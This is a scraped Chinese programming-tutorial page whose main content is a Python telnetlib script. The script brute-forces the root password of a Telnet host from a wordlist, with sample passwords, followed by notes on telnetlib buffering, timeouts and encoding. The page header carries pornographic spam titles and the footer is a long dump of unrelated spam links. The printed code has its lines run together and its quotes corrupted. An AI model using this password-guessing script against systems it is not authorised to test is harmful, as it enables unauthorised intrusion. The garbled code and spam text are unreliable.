电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

Python實現Telnet自動連接檢測密碼的示例

瀏覽:4日期:2022-06-22 13:02:01

最近在學習Python網絡相關編程,這個代碼實現了Telnet自動連接檢測root用戶密碼,密碼取自密碼本,一個一個檢測密碼是否匹配,直到匹配成功,屏幕輸出停止。

Python內置了telnetlib模塊,支持telnet遠程操作,只要直接import就可以。

代碼如下:

# encoding=utf-8import telnetlibimport timeimport sysimport osdef do_telnet(Host, Port, username, password, finish): # 連接Telnet服務器 tn = telnetlib.Telnet(Host, Port, timeout=1) tn.set_debuglevel(3) # 輸入登錄用戶名 tn.read_until('login: ') tn.write(str(username) + ’n’) # 輸入登錄密碼 tn.read_until('Password: ') tn.write(str(password) + ’n’) # 判斷密碼錯誤提示,如果沒有這個提示說明登錄成功 if tn.read_until(finish):print('****** login incorrect!n') tn.close()if __name__ == ’__main__’: Host = input('IP:') # Telnet服務器IP Port = input('Port:') # Telnet服務器端口 username = ’root’ # 登錄用戶名 finish = ’incorrect’ # 密碼錯誤提示 pw_file = open(’.pw.txt’, ’r+’) # 密碼文件 Index = 0 print(time.asctime(), ': ****** begin', 'n') while True:password = pw_file.readline()Index += 1print(Index, time.asctime(), ': ****** try', '', username, ':', password, '')if len(password) == 0: breakdo_telnet(Host, Port, username, password, finish) pw_file.close()

密碼本pw.txt,內容例如:

root admin 12345 888888

輸出如下:

Python實現Telnet自動連接檢測密碼的示例

注:我這邊測試的目標主機是嵌入式linux系統,用戶名是root,密碼錯誤返回的是incorrect提示。你可能要根據目標系統不同修改用戶名和錯誤提示。

telnetlib提供好多方法可以得到數據,象read_until()是當結果中存在想要的信息時返回,read_some()是只要有結果就返回,read_very_lazy()是返回緩沖區中的數據。經過看代碼,telnetlib采用緩沖的處理方式,因此數據并不是一下子就返回的,而是先放在了緩沖區中。許多的讀取處理都是圍繞著這個緩沖區來的。而緩沖區的信息何時到達就不說不清楚了,也許很快,也許很慢,也許分別到達,也許一下子就收到了。因此,對于數據不一定到齊的這種情況,就采用了象read_until()來判斷緩沖區中的數據是否有想要的內容,如果沒有就等待,除非到達了超時時間。再有可以使用expect方法,與read_until差不多,但是它可以支持正則表達式,功能要強大得多。

在網上還有一個叫 Pexpect 它好象功能強大,它支持多種協議,它的主頁就建議使用 Pexpect 來下載它的文檔。不過因為網絡不太好就沒有下來,不知道支不支持 Telnet 協議。

上面的程序再配以 ftplib 的功能就可以做一個遠程更新的維護程序。只不過如何判斷后臺返回的信息,我沒有找到好的方法,是使用read_lazy()還是read_eager()呢?還是什么別的方法。最主要的問題是,返回的數據不一定完整。好象沒有提供一個read_line()的方法。

其中port和timeout是可選的參數,而timeout的只是在初始化socket連接時起作用,而一旦連接成功后如果出現等待那就不會起作用了,比如使用read_until方式獲取內容時返回的內容與指定的內容沒有吻合,那么就會造成提示等待的情況,這時timeout是不會起作用的,而這個socket連接會一直保持著,永生不死。

那么如何解決這個問題呢,其實還有一種比較原始的方法,就是使用sleep方法來代替read_until方法,這樣就不會出現種情況,因為到點就會自己輸入,最多也就是最后得不到想要的結果,但是這個方式很不穩定,兼容性也不好;另一種方法是使用線程來啟動這個函數,然后對子線程進行超時設置,這樣就可以達到間接控制這個telnet連接的目的了。

import threading th1 = threading.Thread(target=do_telnet, args=(host.encode(’utf-8’), user.encode(’utf-8’), passwd.encode(’utf-8’), finish.encode(’utf-8’), commands)) th1.start() th1.join(20) ##20秒超時時間

遇到的問題:

傳遞給Telnet方法的字符串都會被解一次碼,所以如果你傳遞過去需要write的字符串是已經解碼的unicode的話,那么就會報錯的,所以在傳遞發送的字符串之前還是先編成utf-8為妥,用ascii編碼也可以。

以上就是Python實現Telnet自動連接檢測密碼的示例的詳細內容,更多關于python Telnet自動連接檢測密碼的資料請關注好吧啦網其它相關文章!

標簽: Python 編程
相關文章:
主站蜘蛛池模板: 短信通106短信接口验证码接口群发平台_国际短信接口验证码接口群发平台-速度网络有限公司 | 京马网,京马建站,网站定制,营销型网站建设,东莞建站,东莞网站建设-首页-京马网 | 今日扫码_溯源二维码_产品防伪一物一码_红包墙营销方案 | 浙江建筑资质代办_二级房建_市政_电力_安许_劳务资质办理公司 | atcc网站,sigma试剂价格,肿瘤细胞现货,人结肠癌细胞株购买-南京科佰生物 | 北京西风东韵品牌与包装设计公司,创造视觉销售力! | 国际线缆连接网 - 连接器_线缆线束加工行业门户网站 | 风信子发稿-专注为企业提供全球新闻稿发布服务 | 彭世修脚_修脚加盟_彭世修脚加盟_彭世足疗加盟_足疗加盟连锁_彭世修脚技术培训_彭世足疗 | 私人别墅家庭影院系统_家庭影院音响_家庭影院装修设计公司-邦牛影音 | 北京签证代办_签证办理_商务签证_旅游签证_寰球签证网 | 钢骨架轻型板_膨石轻型板_钢骨架轻型板价格_恒道新材料 | 原色会计-合肥注册公司_合肥代理记账公司_营业执照代办 | 收录网| 【铜排折弯机,钢丝折弯成型机,汽车发泡钢丝折弯机,线材折弯机厂家,线材成型机,铁线折弯机】贝朗折弯机厂家_东莞市贝朗自动化设备有限公司 | Jaeaiot捷易科技-英伟达AI显卡模组/GPU整机服务器供应商 | 「安徽双凯」自动售货机-无人售货机-成人用品-自动饮料食品零食售货机 | 我车网|我关心的汽车资讯_汽车图片_汽车生活! | 罐体电伴热工程-消防管道电伴热带厂家-山东沃安电气 | 水稻烘干机,小麦烘干机,大豆烘干机,玉米烘干机,粮食烘干机_巩义市锦华粮食烘干机械制造有限公司 水环真空泵厂家,2bv真空泵,2be真空泵-淄博真空设备厂 | 清洁设备_洗地机/扫地机厂家_全自动洗地机_橙犀清洁设备官网 | 便携式谷丙转氨酶检测仪|华图生物科技百科 | 世纪豪门官网 世纪豪门集成吊顶加盟电话 世纪豪门售后电话 | 工业用品一站式采购平台|南创工品汇-官网|广州南创 | 旅游规划_旅游策划_乡村旅游规划_景区规划设计_旅游规划设计公司-北京绿道联合旅游规划设计有限公司 | 不锈钢法兰-碳钢法兰-法兰盘生产加工厂家-[鼎捷峰]-不锈钢法兰-碳钢法兰-法兰盘生产加工厂家-[鼎捷峰] | 气力输送设备_料封泵_仓泵_散装机_气化板_压力释放阀-河南锐驰机械设备有限公司 | 磁力去毛刺机_去毛刺磁力抛光机_磁力光饰机_磁力滚抛机_精密金属零件去毛刺机厂家-冠古科技 | led全彩屏-室内|学校|展厅|p3|户外|会议室|圆柱|p2.5LED显示屏-LED显示屏价格-LED互动地砖屏_蕙宇屏科技 | 洛阳防爆合格证办理-洛阳防爆认证机构-洛阳申请国家防爆合格证-洛阳本安防爆认证代办-洛阳沪南抚防爆电气技术服务有限公司 | 线材成型机,线材折弯机,线材成型机厂家,贝朗自动化设备有限公司1 | 浙江富广阀门有限公司| 盛源真空泵|空压机-浙江盛源空压机制造有限公司-【盛源官网】 | 超声波破碎仪-均质乳化机(供应杭州,上海,北京,广州,深圳,成都等地)-上海沪析实业有限公司 | 游泳池设备安装工程_恒温泳池设备_儿童游泳池设备厂家_游泳池水处理设备-东莞市君达泳池设备有限公司 | 辽宁资质代办_辽宁建筑资质办理_辽宁建筑资质延期升级_辽宁中杭资质代办 | 天津暖气片厂家_钢制散热器_天津铜铝复合暖气片_维尼罗散热器 | 有声小说,听书,听小说资源库-听世界网 | 电销卡_稳定企业大语音卡-归属地可选-世纪通信 | 广州市哲铭油墨涂料有限公司,水性漆生产研发基地 | 节流截止放空阀-不锈钢阀门-气动|电动截止阀-鸿华阀门有限公司 |